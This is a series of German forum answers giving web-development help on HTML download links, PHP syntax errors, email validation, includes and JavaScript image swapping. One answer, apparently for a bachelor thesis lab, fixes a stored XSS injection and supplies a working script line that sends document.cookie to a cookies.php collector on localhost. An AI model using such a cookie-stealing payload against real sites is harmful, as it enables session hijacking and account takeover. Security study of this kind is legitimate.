Beiträge von Basi

    Hallo. Einfach das download-Attribut mit angeben:


    HTML
    <a title="Weinkarte" href="Weinkarte_2016.pdf" download>Zum Download hier klicken</a>


    Funktioniert allerdings nicht in allen Browsern.

    Du nutzt unzählige Frameworks und Stylesheets, hast jetzt aber nur eins zur Verfügung gestellt. Es fehlen insgesamt 25 Dateien, jede einzelne davon kann Schuld sein und mit den von dir gegebenen Codes wird eine leere Seite mit dunkelblauem Hintergrund angezeigt.


    Wir brauchen den vollständigen Code, sonst kann keiner etwas dazu sagen.

    Ohne die entsprechenden Stylesheets kann man da unmöglich etwas zu sagen.


    HTML
    <link rel="stylesheet" type="text/css" href="css/site_global.css?3866842937"/>
    <link rel="stylesheet" type="text/css" href="css/master_b-master.css?502501335"/>
    <link rel="stylesheet" type="text/css" href="css/booking-form.css?4138970044" id="pagesheet"/>

    Für solche Prüfungen eignen sich am Besten Reguläre Ausdrücke. Es besteht aber absolut kein Grund E-Mailadressen auszuschließen, die nicht von Gratisanbietern gehostet werden. Jeder, der eine eigene Domain besitzt, kann E-Mailadressen darauf anlegen. Bestes Beispiel: info@html-seminar.de.


    Die Validation der E-Mailadresse mittels FILTER_VALIDATE_EMAIL ist keineswegs eine simple Prüfung, ob ein @ vorhanden ist.


    Genau genommen sieht das etwa so aus:



    Oder es kommt ein Regulärer Ausdruck in etwa solcher Form zum Einsatz:


    Code
    '/^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$/iD'

    Hi, du hast da ein paar Syntaxfehler in deinem PHP Code.


    Hier fehlt das Semikolon:

    PHP: 8
    $anzahl_fragen = 3 // Hier Anzahl der Fragen angeben


    Hier stört das " ere":

    PHP: 12
    echo $gesamt_punkte ere;


    Hier fehlt wieder das Semikolon:

    PHP: 24
    $ergebnis = "du bist eine sportskanone"


    Und hier stört wieder " ere":

    PHP: 27
    echo $ergebnis ere;


    So würde das dan bereinigt aussehen:

    Das geht mit PHP Includes oder Ajax (Javascript). Es kommt jetzt etwas darauf an wie genau du dir das vorstellts. Ohne die Seite neu zu laden kommst du um Javascript nicht herum, ansonsten reicht PHP. Für PHP brauchst du jedoch einen PHP-fähigen Webserver.


    Mittels PHP wäre das dann einfach so:


    index.html

    HTML
    <!-- Grundgerüst -->
    <?php include("container.htm"); ?>
    <!-- Grundgerüst -->


    container.htm

    HTML
    <div>
        <p>Mein extern eingebundener HTML Code.</p>
    </div>


    Mit Javascript wäre das ein klein wenig umständlicher.

    Dein Injizierter Javascript Code ist fehlerhaft.


    Beim Auslesen der Datei wird nl2br aufgerufen, wenn du dein Script also mit Umbrüchen versiehst, wird an deren Stelle <br> eingefügt, dadurch wird dein Script nicht mehr ausgeführt. Das Forumlar wird nicht mehr angezeigt, weil du im schließenden Script-Tag den Schrägstrich vergessen hast, dadurch wird die restliche Seite als Javascript interpretiert und nicht mehr angezeigt.


    So funktioniert es:


    Code
    <script>window.location = 'http://localhost/bachelorarbeit/cookies.php?cookies='+document.cookie;</script>

    Ohne den Namen wüsste die Funktion doch nicht was sie verarbeiten soll. Sonst müsstest du ja so vorgehen:


    PHP
    $email = $_POST['email'];
    // Filtern


    Bei strlen vergleichst du in den falschen Klammern:


    PHP
    // Falsch
    if(strlen($vorname > 36))
    // Korrekt
    if(strlen($vorname) > 36)

    Hallo.


    Um richtige Fehler handelt es sich nicht. Bei den ersten beiden steht "Notice", das ist lediglich ein Hinweis. In diesem Fall darauf, dass $wert noch nicht existent ist. Das kann man (wie du bereits richtig herausgefunden hast) beheben, indem man vorher $wert 0 0; zuweist.


    Das Problem aus Nummer 41 ist eine fehlende Klammer:


    PHP
    // Fehlerhaft:
    while ($inhalt = fgets ($fd, 4096)
    // Korrekt:
    while ($inhalt = fgets ($fd, 4096))


    Solche Fehler sind im Kurs natürlich ärgerlich, jedoch unmöglich komplett zu vermeiden. Passiert jedem mal :)


    Eigentlich nicht mal verkehrt, so muss man selbst auf Fehlersuche gehen, was auch lehrreich ist. Gut, dass du gefragt hast.

    Foreach macht hier wenig Sinn. Damit kannst du EIN Array durchlaufen. Du möchtest hier aber offenbar 3 unterschiedliche verknüpfen. Da würde ich an deiner Stelle eine for-Schleife benutzen und in jedem Durchlauf die Teile zusammenfügen. Das könnte so aussehen:


    Hej,


    du musst hier garkein neues Element anlegen. Du kannst einfach das src Attribut vom einen Bild ins andere übertragen. Dazu macht es Sinn dem neuen Bild eine ID zu geben um es einfacher auswählen zu können:




    Wenn du dem td-Element eine ID und dem Bild keine zuweisen willst, könntest du das so machen:


    HTML
    <td id="hauptbild">
        <img src="zielbild.jpg">
    </td>


    JavaScript
    function neubild(y) {
        document.getElementById("hauptbild").getElementsByTagName("img")[0].src = y;
    }


    Deine Zeile "document.getElementById("hauptbild") = x;" macht so keinen Sinn. Es gibt in Zuweisungen 2 Arten von Werten. Die Left Hand Assignments und die Right Hand Assignments. Left Hand gehört (wie der Name schon sagt) auf die linke Seite des Gleichheitszeichens, Right Hand natürlich auf die rechte.


    In diesem Fall ist aber "document.getElementById("hauptbild")" der Wert und gehört somit auf die rechte Seite. Es handelt sich dabei um eine Funktion und dieser kann nichts zugewiesen werden.

    Ich weiß nicht genau was du mit Infotip meinst. Ich gehe aber mal davon aus, du meinst das title Attribut, mit dem sich beim Mouseover ein Tooltip erzeugen lässt.


    In dem Fall werden Zeilenumbrüche, die du im Code angibst, auch im Tooltip übernommen:


    HTML
    <a href="#" title="Tooltip
    über
    mehrere
    Zeilen">Test</a>


    Nicht alle Browser nehmen das an. Für den Fall lohnt es sich, jede Zeile mit einem Leerzeichen zu beenden.

    Funktioniert einwandfrei. Vielleicht hast du kein Programm als Standard festgelegt.


    Unter Windows 10 kannst du das prüfen, indem du "Standardprogramme" im Startmenü eingibst und aufrufst. Einer der ersten Einträge sollte E-Mail sein.

    Halb so wild. Einfach immer weiter probieren. Man lernt so etwas tatsächlich fast nur durch selbst probieren. Wichtig ist, dass du deinen Code zeigst wenn du nach Hilfe fragst.